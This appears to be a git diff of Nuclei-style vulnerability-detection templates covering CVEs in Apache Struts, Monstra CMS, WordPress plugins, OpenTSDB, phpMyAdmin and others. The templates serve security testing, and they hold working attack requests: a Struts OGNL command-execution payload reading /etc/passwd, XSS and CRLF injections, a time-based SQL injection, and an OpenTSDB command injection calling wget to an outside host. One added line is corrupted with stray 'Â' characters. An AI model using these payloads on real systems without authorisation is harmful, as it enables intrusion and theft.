+    - https://nvd.nist.gov/vuln/detail/CVE-2017-5638
    - https://isc.sans.edu/diary/22169
    - https://github.com/rapid7/metasploit-framework/issues/8064
-    - https://nvd.nist.gov/vuln/detail/CVE-2017-5638
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2017-5638
    cwe-id: CWE-20
-  metadata:
-    shodan-query: html:"Apache Struts"
-    verified: "true"
-  tags: cve,cve2017,apache,kev,msf,struts,rce
+  tags: apache,kev,msf,cve,cve2017,struts,rce

 requests:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
-        Content-Type: %{(#test='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#[email protected]@DEFAULT_MEMBER_ACCESS,#cmd="cat /etc/passwd",#cmds={"/bin/bash","-c",#cmd},#p=new java.lang.ProcessBuilder(#cmds),#p.redirectErrorStream(true),#process=#p.start(),#b=#process.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#[email protected]@getResponse().getWriter(),#rw.println(#e),#rw.flush())}
+        Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
+        Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Hacker','Bounty Plz')}.multipart/form-data
+        Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*

-    matchers-condition: and
    matchers:
-      - type: regex
-        regex:
-          - "root:.*:0:0:"
+      - type: word
+        words:
+          - "X-Hacker: Bounty Plz"
+        part: header

-      - type: status
-        status:
-          - 200
+# Enhanced by mp on 2022/04/26
@@ -11,7 +11,7 @@ info:
    - https://pastebin.com/raw/rt7LJvyF
    - https://www.exploit-db.com/exploits/42290/
  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-9833
    cwe-id: CWE-22
@@ -1,49 +0,0 @@
-id: CVE-2018-11227
-
-info:
-  name: Monstra CMS V3.0.4 - Cross-Site Scripting
-  author: ritikchaddha
-  severity: medium
-  description: |
-    Monstra CMS 3.0.4 and earlier has XSS via index.php.
-  reference:
-    - https://github.com/monstra-cms/monstra/issues/438
-    - https://nvd.nist.gov/vuln/detail/CVE-2018-11227
-    - https://www.exploit-db.com/exploits/44646
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 6.1
-    cve-id: CVE-2018-11227
-    cwe-id: CWE-79
-  metadata:
-    shodan-query: http.favicon.hash:419828698
-    verified: "true"
-  tags: cve,cve2018,xss,mostra,mostracms,cms,edb
-
-requests:
-  - raw:
-      - |
-        POST /admin/index.php?id=pages HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-
-        login="><svg/onload=alert(document.domain)>&password=xxxxxx&login_submit=Log+In
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - "><svg/onload=alert(document.domain)>"
-          - "Monstra"
-        condition: and
-        case-insensitive: true
-
-      - type: word
-        part: header
-        words:
-          - "text/html"
-
-      - type: status
-        status:
-          - 200
@@ -1,63 +0,0 @@
-id: CVE-2018-11473
-
-info:
-  name: Monstra CMS V3.0.4 - Cross-Site Scripting
-  author: ritikchaddha
-  severity: medium
-  description: |
-    Monstra CMS 3.0.4 has XSS in the registration Form (i.e., the login parameter to users/registration).
-  reference:
-    - https://github.com/monstra-cms/monstra/issues/446
-    - https://nvd.nist.gov/vuln/detail/CVE-2018-11473
-    - https://github.com/nikhil1232/Monstra-CMS-3.0.4-XSS-ON-Registration-Page
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 6.1
-    cve-id: CVE-2018-11473
-    cwe-id: CWE-79
-  metadata:
-    shodan-query: http.favicon.hash:419828698
-    verified: "true"
-  tags: cve,cve2018,xss,mostra,mostracms,cms
-
-requests:
-  - raw:
-      - |
-        GET /users/registration HTTP/1.1
-        Host: {{Hostname}}
-
-      - |
-        POST /users/registration HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-
-        csrf={{csrf}}&login=test&password=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&email=teest%40gmail.com&answer=test&register=Register
-
-    cookie-reuse: true
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - "><script>alert(document.domain)</script>"
-          - "Monstra"
-        condition: and
-        case-insensitive: true
-
-      - type: word
-        part: header
-        words:
-          - "text/html"
-
-      - type: status
-        status:
-          - 200
-
-    extractors:
-      - type: regex
-        name: csrf
-        part: body
-        group: 1
-        regex:
-          - 'id="csrf" name="csrf" value="(.*)">'
-        internal: true
@@ -1,37 +0,0 @@
-id: CVE-2018-16979
-
-info:
-  name: Monstra CMS V3.0.4 - HTTP Header Injection
-  author: 0x_Akoko
-  severity: medium
-  description: |
-    Monstra CMS V3.0.4 allows HTTP header injection in the plugins/captcha/crypt/cryptographp.php cfg parameter.
-  reference:
-    - https://github.com/howchen/howchen/issues/4
-    - https://nvd.nist.gov/vuln/detail/CVE-2018-16979
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 6.1
-    cve-id: CVE-2018-16979
-    cwe-id: CWE-113
-  metadata:
-    verified: "true"
-  tags: cve,cve2018,crlf,mostra,mostracms,cms
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/plugins/captcha/crypt/cryptographp.php?cfg=1%0D%0ASet-Cookie:%20crlfinjection=1"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - 'new line detected in'
-          - 'cryptographp.php'
-        condition: and
-
-      - type: status
-        status:
-          - 200
@@ -7,9 +7,9 @@ info:
  description: Kibana versions before 6.4.3 and 5.6.13 contain an arbitrary file inclusion flaw in the Console plugin. An attacker with access to the Kibana Console API could send a request that will attempt to execute JavaScript which could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.
  reference:
    - https://github.com/vulhub/vulhub/blob/master/kibana/CVE-2018-17246/README.md
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-17246
    - https://www.elastic.co/community/security
    - https://discuss.elastic.co/t/elastic-stack-6-4-3-and-5-6-13-security-update/155594
-    - https://nvd.nist.gov/vuln/detail/CVE-2018-17246
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
@@ -41,5 +41,3 @@ requests:
        part: header
        words:
          - "application/json"
-
-# Enhanced by mp on 2023/01/15
@@ -11,7 +11,7 @@ info:
    - http://packetstormsecurity.com/files/153330/Sahi-Pro-7.x-8.x-Directory-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20470
  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-20470
    cwe-id: CWE-22
@@ -10,10 +10,10 @@ info:
    - https://jenkins.io/security/advisory/2019-09-25/#SECURITY-1505
    - http://www.openwall.com/lists/oss-security/2019/09/25/3
  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
-    cvss-score: 4.3
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
+    cvss-score: 5.4
    cve-id: CVE-2019-10405
-    cwe-id: CWE-200
+    cwe-id: CWE-79
  metadata:
    shodan-query: http.favicon.hash:81586312
  tags: cve,cve2019,jenkins
@@ -1,10 +1,10 @@
 id: CVE-2019-12616

 info:
-  name: phpMyAdmin <4.9.0 - Cross-Site Request Forgery
+  name: phpMyAdmin < 4.9.0 - CSRF
  author: Mohammedsaneem,philippedelteil,daffainfo
  severity: medium
-  description: phpMyAdmin before 4.9.0 is susceptible to cross-site request forgery. An attacker can utilize a broken <img> tag which points at the victim's phpMyAdmin database, thus leading to potential delivery of a payload, such as a specific INSERT or DELETE statement.
+  description: A vulnerability was found that allows an attacker to trigger a CSRF attack against a phpMyAdmin user. The attacker can trick the user, for instance through a broken <img> tag pointing at the victim's phpMyAdmin database, and the attacker can potentially deliver a payload (such as a specific INSERT or DELETE statement) through the victim.
  reference:
    - https://www.phpmyadmin.net/security/PMASA-2019-4/
    - https://www.exploit-db.com/exploits/46982
@@ -50,5 +50,3 @@ requests:
        group: 1
        regex:
          - '\?v=([0-9.]+)'
-
-# Enhanced by md on 2023/01/11
@@ -11,7 +11,7 @@ info:
    - http://packetstormsecurity.com/files/163398/Pallets-Werkzeug-0.15.4-Path-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14322
  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-14322
    cwe-id: CWE-22
@@ -1,16 +1,16 @@
 id: CVE-2019-14530

 info:
-  name: OpenEMR <5.0.2 - Local File Inclusion
+  name: OpenEMR < 5.0.2 - Path Traversal
  author: TenBird
  severity: high
  description: |
-    OpenEMR before 5.0.2 is vulnerable to local file inclusion via the fileName parameter in custom/ajax_download.php. An attacker can download any file (that is readable by the web server user) from server storage. If the requested file is writable for the web server user and the directory /var/www/openemr/sites/default/documents/cqm_qrda/ exists, the file will be deleted from server.
+    An issue was discovered in custom/ajax_download.php in OpenEMR before 5.0.2 via the fileName parameter. An attacker can download any file (that is readable by the user www-data) from server storage. If the requested file is writable for the www-data user and the directory /var/www/openemr/sites/default/documents/cqm_qrda/ exists, it will be deleted from server.
  reference:
    - https://www.exploit-db.com/exploits/50037
    - https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_7.zip
-    - https://github.com/openemr/openemr/pull/2592
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14530
+    - https://github.com/openemr/openemr/pull/2592
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
@@ -50,5 +50,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by mp on 2023/01/15
@@ -2,10 +2,9 @@ id: CVE-2019-15501

 info:
  name: L-Soft LISTSERV <16.5-2018a - Cross-Site Scripting
-  author: LogicalHunter,arafatansari
+  author: LogicalHunter
  severity: medium
-  description: |
-    L-Soft LISTSERV before 16.5-2018a contains a reflected cross-site scripting vulnerability via the /scripts/wa.exe OK parameter.
+  description: L-Soft LISTSERV before 16.5-2018a contains a reflected cross-site scripting vulnerability via the /scripts/wa.exe OK parameter.
  reference:
    - https://www.exploit-db.com/exploits/47302
    - http://www.lsoft.com/manuals/16.5/LISTSERV16.5-2018a_WhatsNew.pdf
@@ -15,9 +14,6 @@ info:
    cvss-score: 6.1
    cve-id: CVE-2019-15501
    cwe-id: CWE-79
-  metadata:
-    shodan-query: http.html:"LISTSERV"
-    verified: "true"
  tags: cve,cve2019,xss,listserv,edb

 requests:
@@ -28,12 +24,9 @@ requests:
    matchers-condition: and
    matchers:
      - type: word
-        part: body
        words:
          - '</script><script>alert(document.domain)</script>'
-          - 'LISTSERV'
-        condition: and
-        case-insensitive: true
+        part: body

      - type: word
        part: header
@@ -18,7 +18,7 @@ info:
    cwe-id: CWE-79
  metadata:
    verified: true
-    google-query: inurl:"/plus/pass_reset.php"
+    google-dork: inurl:"/plus/pass_reset.php"
  tags: cve,cve2019,phpMyChat,xss

 requests:
@@ -17,7 +17,7 @@ info:
    cve-id: CVE-2019-20933
    cwe-id: CWE-287
  metadata:
-    shodan-query: InfluxDB
+    shodan-dork: InfluxDB
    verified: "true"
  tags: unauth,db,influxdb,misconfig
 requests:
@@ -11,7 +11,7 @@ info:
    - https://extensions.joomla.org/extension/je-messenger/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9922
  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-9922
    cwe-id: CWE-22
@@ -13,14 +13,13 @@ info:
    - https://hackerone.com/reports/1329433
  remediation: This issue can be resolved by updating Grafana to the latest version.
  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 6.1
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 5.4
    cve-id: CVE-2020-11110
    cwe-id: CWE-79
  metadata:
    shodan-query: title:"Grafana"
-  tags: cve,cve2020,xss,grafana,hackerone
-
+  tags: cve2020,xss,grafana,hackerone,cve

 requests:
  - raw:
@@ -4,7 +4,8 @@ info:
  name: SaltStack <=3002 - Shell Injection
  author: dwisiswant0
  severity: critical
-  description: SaltStack Salt through 3002 allows an unauthenticated user with network access to the Salt API to use shell injections to run code on the Salt-API using the SSH client.
+  description: |
+    SaltStack Salt through 3002 allows an unauthenticated user with network access to the Salt API to use shell injections to run code on the Salt-API using the SSH client.
  reference:
    - https://saltproject.io/on-november-3-2020-saltstack-publicly-disclosed-three-new-cves/
    - https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag
@@ -24,18 +25,24 @@ requests:
    body: "token=1337&client=ssh&tgt=*&fun=a&roster=projectdiscovery&ssh_priv=nuclei"
    headers:
      Content-Type: application/x-www-form-urlencoded # CherryPy will abort w/o define this header
+
    matchers-condition: and
    matchers:
+      - type: word
+        part: body
+        words:
+          - "An unexpected error occurred"
+
+      - type: dsl
+        dsl:
+          - regex("CherryPy\/([0-9.]+)", header) || regex("CherryPy ([0-9.]+)", body)
+
+      - type: word
+        part: header
+        words:
+          - "application/json"
+
      - type: status
        status:
          - 500
-      - type: word
-        words:
-          - "application/json"
-        part: header
-      - type: word
-        words:
-          - "An unexpected error occurred"
-        part: body
-
 # Enhanced by mp on 2022/04/27
@@ -1,65 +0,0 @@
-id: CVE-2020-23697
-
-info:
-  name: Monstra CMS V3.0.4 - Cross-Site Scripting
-  author: ritikchaddha
-  severity: medium
-  description: |
-    Cross Site Scripting vulnerability in Monstra CMS 3.0.4 via the 'page' feature in admin/index.php.
-  reference:
-    - https://github.com/monstra-cms/monstra/issues/463
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-23697
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 5.4
-    cve-id: CVE-2020-23697
-    cwe-id: CWE-79
-  metadata:
-    verified: "true"
-  tags: cve,cve2020,xss,mostra,mostracms,cms,authenticated
-
-variables:
-  string: "{{to_lower('{{randstr}}')}}"
-
-requests:
-  - raw:
-      - |
-        POST /admin/index.php?id=dashboard HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-
-        login={{username}}&password={{password}}&login_submit=Log+In
-
-      - |
-        GET /admin/index.php?id=pages&action=add_page HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-
-      - |
-        POST /admin/index.php?id=pages&action=add_page HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-
-        csrf={{csrf}}&page_title=%22%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&page_name={{string}}&page_meta_title=&page_keywords=&page_description=&pages=0&templates=index&status=published&access=public&editor=test&page_tags=&add_page_and_exit=Save+and+Exit&page_date=2023-01-09+18%3A22%3A15
-
-      - |
-        GET /{{string}} HTTP/1.1
-        Host: {{Hostname}}
-
-    cookie-reuse: true
-    matchers:
-      - type: dsl
-        dsl:
-          - 'contains(all_headers_4, "text/html")'
-          - 'status_code_4 == 200'
-          - 'contains(body_4, "><script>alert(document.domain)</script>") && contains(body_4, "Monstra")'
-        condition: and
-
-    extractors:
-      - type: regex
-        name: csrf
-        part: body
-        group: 1
-        regex:
-          - 'id="csrf" name="csrf" value="(.*)">'
-        internal: true
@@ -15,7 +15,7 @@ info:
    cve-id: CVE-2020-24902
    cwe-id: CWE-79
  metadata:
-    google-query: intitle:"My Download Server"
+    google-dork: intitle:"My Download Server"
    shodan-query: http.title:"My Download Server"
    verified: "true"
  tags: cve,cve2020,quixplorer,xss
@@ -4,8 +4,7 @@ info:
  name: OpenTSDB <= 2.4.0 - Remote Code Execution
  author: pikpikcu
  severity: critical
-  description: |
-    OpenTSDB through 2.4.0 and earlier is susceptible to remote code execution via the yrange parameter written to a gnuplot file in the /tmp directory.
+  description: OpenTSDB through 2.4.0 and earlier is susceptible to remote code execution via the yrange parameter written to a gnuplot file in the /tmp directory.
  reference:
    - https://github.com/OpenTSDB/opentsdb/issues/2051
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35476
@@ -15,32 +14,29 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2020-35476
    cwe-id: CWE-78
-  metadata:
-    verified: true
-    shodan-query: html:"OpenTSDB"
  tags: cve,cve2020,opentsdb,rce,packetstorm

 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://{{interactsh-url}}%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"
-
+      - "{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://interact.sh%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"
    matchers-condition: and
    matchers:
+      - type: status
+        status:
+          - 200

      - type: word
-        part: body
        words:
          - plotted
          - timing
          - cachehit
+        part: body
        condition: and

      - type: word
-        part: header
        words:
          - application/json
+        part: header

-      - type: status
-        status:
-          - 200
+# Enhanced by mp on 2022/04/28
@@ -1,11 +1,11 @@
 id: CVE-2021-20323

 info:
-  name: Keycloak 10.0.0 - 18.0.0 - Cross-Site Scripting
+  name: Keycloak < 18.0.0 - Cross Site Scripting
  author: ndmalc
  severity: medium
  description: |
-    Keycloak 10.0.0 to 18.0.0 contains a cross-site scripting vulnerability via the client-registrations endpoint. On a POST request, the application does not sanitize an unknown attribute name before including it in the error response with a 'Content-Type' of text/hml. Once reflected, the response is interpreted as HTML. This can be performed on any realm present on the Keycloak instance. Since the bug requires Content-Type application/json and is submitted via a POST, there is no common path to exploit that has a user impact.
+    Keycloak before 18.0.0 and after 10.0.0 allows a reflected XSS on client-registrations endpoint. On POST request, when a request is submitted, the application does not sanitize unknown attribute name before including it in the error response with a 'Content-Type' of text/hml. Once reflected, the response is interpreted as html. This can be performed on any realm present on the Keycloak instance. Currently, due to the bug requiring Content-Type application/json and is submitted via a POST, there is no common path to exploit that have a user impact.
  reference:
    - https://github.com/keycloak/keycloak/security/advisories/GHSA-m98g-63qj-fp8j
    - https://bugzilla.redhat.com/show_bug.cgi?id=2013577
@@ -52,5 +52,3 @@ requests:
      - type: status
        status:
          - 400
-
-# Enhanced by md on 2023/01/06
@@ -1,15 +1,18 @@
 id: CVE-2021-24227

 info:
-  name: Patreon WordPress  <1.7.0 - Unauthenticated Local File Inclusion
+  name: Patreon WordPress < 1.7.0 - Unauthenticated Local File Disclosure
  author: theamanrawat
  severity: high
-  description: Patreon WordPress before version 1.7.0 is vulnerable to unauthenticated local file inclusion that could be abused by anyone visiting the site. Exploitation by an attacker could leak important internal files like wp-config.php, which contains database credentials and cryptographic keys used in the generation of nonces and cookies.
+  description: The Jetpack Scan team identified a Local File Disclosure vulnerability
+    in the Patreon WordPress plugin before 1.7.0 that could be abused by anyone visiting
+    the site. Using this attack vector, an attacker could leak important internal
+    files like wp-config.php, which contains database credentials and cryptographic
+    keys used in the generation of nonces and cookies.
  reference:
    - https://wpscan.com/vulnerability/f62df02d-7678-440f-84a1-ddbf09364016
    - https://wordpress.org/plugins/patreon-connect/
    - https://jetpack.com/2021/03/26/vulnerabilities-found-in-patreon-wordpress-plugin/
-    - https://nvd.nist.gov/vuln/detail/CVE-2021-24227
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
@@ -31,5 +34,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by mp on 2023/01/15
@@ -1,16 +1,16 @@
 id: CVE-2021-24827

 info:
-  name: WordPress Asgaros Forum <1.15.13 - SQL Injection
+  name: Asgaros Forum < 1.15.13 - Unauthenticated SQL Injection
  author: theamanrawat
  severity: critical
  description: |
-    WordPress Asgaros Forum plugin before 1.15.13 is susceptible to SQL injection. The plugin does not validate and escape user input when subscribing to a topic before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
+    The Asgaros Forum WordPress plugin before 1.15.13 does not validate and escape user input when subscribing to a topic before using it in a SQL statement, leading to an unauthenticated SQL injection issue.
  reference:
    - https://wpscan.com/vulnerability/36cc5151-1d5e-4874-bcec-3b6326235db1
    - https://wordpress.org/plugins/asgaros-forum/
-    - https://plugins.trac.wordpress.org/changeset/2611560/asgaros-forum
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24827
+    - https://plugins.trac.wordpress.org/changeset/2611560/asgaros-forum
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
@@ -35,5 +35,3 @@ requests:
          - 'contains(content_type, "text/html")'
          - 'contains(body, "asgarosforum")'
        condition: and
-
-# Enhanced by md on 2023/01/06
@@ -1,38 +0,0 @@
-id: CVE-2021-24946
-
-info:
-  name: WordPress Modern Events Calendar <6.1.5 - Blind SQL Injection
-  author: theamanrawat
-  severity: critical
-  description: |
-    WordPress Modern Events Calendar plugin before 6.1.5 is susceptible to blind SQL injection. The plugin does not sanitize and escape the time parameter before using it in a SQL statement in the mec_load_single_page AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
-  reference:
-    - https://wpscan.com/vulnerability/09871847-1d6a-4dfe-8a8c-f2f53ff87445
-    - https://wordpress.org/plugins/modern-events-calendar-lite/
-    - https://nvd.nist.gov/vuln/detail/CVE-2021-24946
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2021-24946
-    cwe-id: CWE-89
-  metadata:
-    verified: "true"
-  tags: wordpress,wp-plugin,wp,unauth,wpscan,cve,cve2021,sqli,modern-events-calendar-lite
-
-requests:
-  - raw:
-      - |
-        @timeout: 10s
-        GET /wp-admin/admin-ajax.php?action=mec_load_single_page&time=1))%20UNION%20SELECT%20sleep(6)%20--%20g HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: dsl
-        dsl:
-          - 'duration>=6'
-          - 'status_code == 200 || status_code == 500'
-          - 'contains(content_type, "text/html")'
-          - 'contains(body, "The event is finished") || contains(body, "been a critical error")'
-        condition: and
-
-# Enhanced by md on 2023/01/06
@@ -1,11 +1,11 @@
 id: CVE-2021-25099

 info:
-  name: WordPress GiveWP <2.17.3 - Cross-Site Scripting
+  name: Give < 2.17.3 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
-    WordPress GiveWP plugin before 2.17.3 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape the form_id parameter before returning it in the response of an unauthenticated request via the give_checkout_login AJAX action. An attacker can inject arbitrary script in the browser of a user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
+    The GiveWP WordPress plugin before 2.17.3 does not sanitise and escape the form_id parameter before outputting it back in the response of an unauthenticated request via the give_checkout_login AJAX action, leading to a Reflected Cross-Site Scripting.
  reference:
    - https://wpscan.com/vulnerability/87a64b27-23a3-40f5-a3d8-0650975fee6f
    - https://wordpress.org/plugins/give/
@@ -17,7 +17,7 @@ info:
    cwe-id: CWE-79
  metadata:
    verified: "true"
-  tags: wp-plugin,wp,give,unauth,wordpress,cve2021,xss,wpscan,cve
+  tags: give,unauth,cve2021,wordpress,wp-plugin,xss,cve,wp,wpscan

 requests:
  - raw:
@@ -36,5 +36,3 @@ requests:
          - 'contains(body, "<script>alert(document.domain)</script>")'
          - 'contains(body, "give_user_login")'
        condition: and
-
-# Enhanced by md on 2023/01/06
@@ -39,17 +39,21 @@ requests:

    matchers-condition: and
    matchers:
-      - type: regex
-        regex:
-          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
-
-      - type: word
-        part: header
-        words:
-          - "text/html"
-          - "application/x-www-form-urlencoded"
-        condition: or
-
      - type: status
        status:
          - 200
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
+
+      - type: word
+        words:
+          - "uid="
+          - "gid="
+          - "groups="
+        part: body
+        condition: and
+
+# Enhanced by mp on 2022/07/15
@@ -8,6 +8,8 @@ info:
  reference:
    - https://securitylab.github.com/advisories/GHSL-2021-103-erxes/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3285
+    - https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/views/widget.ejs#L14
+    - https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/index.ts#L54
  classification:
    cve-id: CVE-2021-32853
  metadata:
@@ -1,11 +1,11 @@
 id: CVE-2021-35380

 info:
-  name: TermTalk Server 3.24.0.2 - Local File Inclusion
+  name: TermTalk Server 3.24.0.2 - Unauthenticated Arbitrary File Read
  author: fxploit
  severity: high
  description: |
-    TermTalk Server (TTServer) 3.24.0.2 is vulnerable to file inclusion which allows unauthenticated malicious user to gain access to the files on the remote system by providing the relative path of the file they want to retrieve.
+    A Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download.
  reference:
    - https://www.swascan.com/solari-di-udine/
    - https://www.exploit-db.com/exploits/50638
@@ -30,5 +30,3 @@ requests:
          - "fonts"
          - "extensions"
        condition: and
-
-# Enhanced by mp on 2023/01/15
@@ -1,16 +1,15 @@
 id: CVE-2021-40661

 info:
-  name: IND780 - Local File Inclusion
+  name: IND780 - Directory Traversal
  author: For3stCo1d
  severity: high
  description: |
-    IND780 Advanced Weighing Terminals Build 8.0.07 March 19, 2018 (SS Label 'IND780_8.0.07'), Version 7.2.10 June 18, 2012 (SS Label 'IND780_7.2.10') is vulnerable to unauthenticated local file inclusion. It is possible to traverse the folders of the affected host by providing a relative path to the 'webpage' parameter in AutoCE.ini. This could allow a remote attacker to access additional files on the affected system.
+    A remote, unauthenticated, directory traversal vulnerability was identified within the web interface used by IND780 Advanced Weighing Terminals Build 8.0.07 March 19, 2018 (SS Label 'IND780_8.0.07'), Version 7.2.10 June 18, 2012 (SS Label 'IND780_7.2.10'). It was possible to traverse the folders of the affected host by providing a traversal path to the 'webpage' parameter in AutoCE.ini This could allow a remote unauthenticated adversary to access additional files on the affected system. This could also allow the adversary to perform further enumeration against the affected host to identify the versions of the systems in use, in order to launch further attacks in future.
  reference:
    - https://sidsecure.au/blog/cve-2021-40661/?_sm_pdc=1&_sm_rid=MRRqb4KBDnjBMJk24b40LMS3SKqPMqb4KVn32Kr
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40661
    - https://www.mt.com/au/en/home/products/Industrial_Weighing_Solutions/Terminals-and-Controllers/terminals-bench-floor-scales/advanced-bench-floor-applications/IND780/IND780_.html#overviewpm
-    - https://nvd.nist.gov/vuln/detail/CVE-2021-40661
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
@@ -39,5 +38,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by mp on 2023/01/15
@@ -15,7 +15,7 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2021-40859
  metadata:
-    fofa-query: '"auerswald"'
+    fofa-dork: '"auerswald"'
  tags: cve,cve2021,iot,unauth,voip,auerswald

 requests:
@@ -29,7 +29,7 @@ requests:
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded

-        __EVENTTARGET=cmdOK&__EVENTARGUMENT=&__VIEWSTATE={{url_encode("{{VS}}")}}&__VIEWSTATEGENERATOR={{url_encode("{{VSG}}")}}&__EVENTVALIDATION={{url_encode("{{EV}}")}}&txtID=uname%27&txtPW=passwd&hdnClientDPI=96
+        __EVENTTARGET=cmdOK&__EVENTARGUMENT=&__VIEWSTATE={{url_encode("Â{{VSÂ}}")}}&__VIEWSTATEGENERATOR={{url_encode("Â{{VSGÂ}}")}}&__EVENTVALIDATION={{url_encode("Â{{EVÂ}}")}}&txtID=uname%27&txtPW=passwd&hdnClientDPI=96

    cookie-reuse: true
    extractors:
@@ -1,15 +1,15 @@
 id: CVE-2021-43421

 info:
